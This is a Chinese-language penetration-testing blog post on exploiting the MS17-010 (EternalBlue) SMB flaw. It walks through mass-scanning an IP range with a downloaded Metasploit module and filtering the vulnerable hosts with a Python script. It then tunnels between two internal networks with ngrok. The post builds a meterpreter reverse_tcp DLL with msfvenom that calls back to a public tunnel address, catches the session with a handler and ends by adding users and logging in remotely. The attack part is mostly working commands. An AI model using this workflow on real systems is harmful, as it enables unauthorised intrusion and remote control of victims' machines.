MS17-010漏洞检测与内网穿透技术的应用
首页 > web安全 > 渗透测试    作者:webbaozi   2017年5月15日 16:55 星期一   热度:4433°   百度已收录  
时间:2017-5-15 16:55   热度:4433° 

0x00 前言

本文主要介绍一下MSF模块的下载、使用,以及当攻击机处于内网,而目标机也处于内网的解决方法。这里借助MS17-010漏洞来具体讲解一下,并没有新的知识点,可以为刚入门的新手抛砖引玉,提供一条解决问题的思路,同时也记录一下过程,加强记忆。
主要分为两个知识点,一是SMB漏洞的批量检测,二是内网穿透技术。

首先是环境的搭建,具体如下表所示:

主机 IP 备注
Kali 64位 192.168.232.134 攻击机
Windows XP 32位 192.168.232.128 安装了python2.6,下载有方程式利用工具包(主要为Windows目录下的工具)
Window2008 R2 64位 10.50.2.62 靶机,存在MS17-010漏洞,并可以访问外网

0x01 SMB漏洞批量检测

1.扫描脚本的下载和加载

由于Metasploit还没有更新MS17-010检测的模块,所以要去exploit-db下载,并在MSF中加载。


[email protected]:~# cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb
[email protected]:/usr/share/metasploit-framework/modules/auxiliary/scanner/smb# wget https://www.exploit-db.com/download/41891 -O smb_ms_17_010.rb


下载脚本

启动Metasploit,模块会自动加载,或者使用命令reload_all重新加载所有模块。

2.漏洞扫描的使用方法

选择使用smb_ms_17_010模块,并查看使用命令。


msf > use auxiliary/scanner/smb/smb_ms_17_010
msf auxiliary(smb_ms_17_010) > show options


脚本说明

所必须的参数有三个,对于无需登录的SMB,我们只需设置一下扫描的IP段、线程并运行即可开始扫描。


msf auxiliary(smb_ms_17_010) > set RHOSTS 10.50.2.1-255
RHOSTS => 10.50.2.1-255
msf auxiliary(smb_ms_17_010) > set THREADS 10
THREADS => 10
msf auxiliary(smb_ms_17_010) > run


扫描结果

出现黄色警告的表示可能存在,需要进一步验证。
为了方便将存在漏洞的IP列出来,写了一个简单的Python脚本。


import re
if __name__ == '__main__':
    f = open("smb.txt", mode='r', buffering=1)
    while(True):
            line = f.readline()
            if line :
                if  "likely" in line:
                    print line.split(' ')[1].split(':')[0]
            else:
                break


提取出的IP如下所示:

.....
10.50.2.52
10.50.2.62
10.50.2.65
10.50.2.61
10.50.2.63
10.50.2.64
10.50.2.76
10.50.2.69
10.50.2.77
10.50.2.78
10.50.2.79
....


有了存在漏洞的地址,接下来将开始对其进行验证,以10.50.2.62为例。
由于Kali在虚拟机,宿主机IP为2.0..,目标机在10.50.2.*。相当于需要从内网到另一个内网, 选择采用了ngrok进行tcp的端口转发来实现内网的穿透。

0x02 内网穿透

这里采用了www.ngrok.cc平台进行演示,类似这样的平台有很多,例如natapp.cn等。
注册并开通隧道,如图所示。

内网穿透之开通隧道

下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client ,选择与系统对应的软件。
我这里Kali为64位的,下载和使用命令如下:


[email protected]:~/Downloads# wget hls.ctopus.com/sunny/linux_amd64.zip
[email protected]:~/Downloads# unzip  linux_amd64.zip
[email protected]:~/Downloads# cd linux_amd64/
[email protected]:~/Downloads/linux_amd64# ls
[email protected]:~/Downloads/linux_amd64# ./sunny clientid 隧道ID


启动ngrok
出现下图的界面表示运行成功。
ngrok启动成功

使用如下命令生成用于监听的dll文件。监听的IP为server.ngrok.cc的地址,端口为开通隧道时填写的远程端口。


[email protected]:~/Documents# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56  LPORT=6266 -f dll > got.dll


生成监听dll文件

然后在Kali上设置监听本机的IP和端口,也就是在开通隧道时填写的本地端口。


use exploit/multi/handler
set LHOST 192.168.232.134
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit


监听

由于关于Eternalblue利用方法有很多教程了,这里就不详细说明了,如图所示。
设置过程
利用成功
攻击成功时查看ngrok客户端发现有一个连接。
ngrok连接成功
而且Kali上也生成了一个meterpreter会话。
返回meterpreter会话
之后的操作就很简单了,可以添加用户等等。
最后远程登录成功如下图所示。
靶机成功
使用natapp也是可以的。
natapp连接成功

0x03 总结

本文主要以MS17-010为例,讲解了如何下载和利用Metasploit中没有的模块,以及如何解决内网到内网的穿透的问题,当然解决的方法还有很多,这里就不再介绍了。

没有什么新的知识,怕忘记所以记录一下~~

0x04 参考

[1]https://www.exploit-db.com/exploits/41891/

[2]http://bobao.360.cn/learning/detail/3041.html

转自:http://fuping.site/2017/04/21/MS17-010-Vulnerability-Detection-And-Ngrok/



二维码加载中...
本文作者:webbaozi      文章标题: MS17-010漏洞检测与内网穿透技术的应用
本文地址:http://www.webbaozi.com/stcs/68.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。
zeal2017-05-18 08:45
内网穿透的这个好方便。get到了新知识,感谢博主~
webbaozi2017-05-19 18:19
@zeal:之前就有人分享过
http://bobao.360.cn/learning/detail/3041.html
开源的,可以架设在自己的vps

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1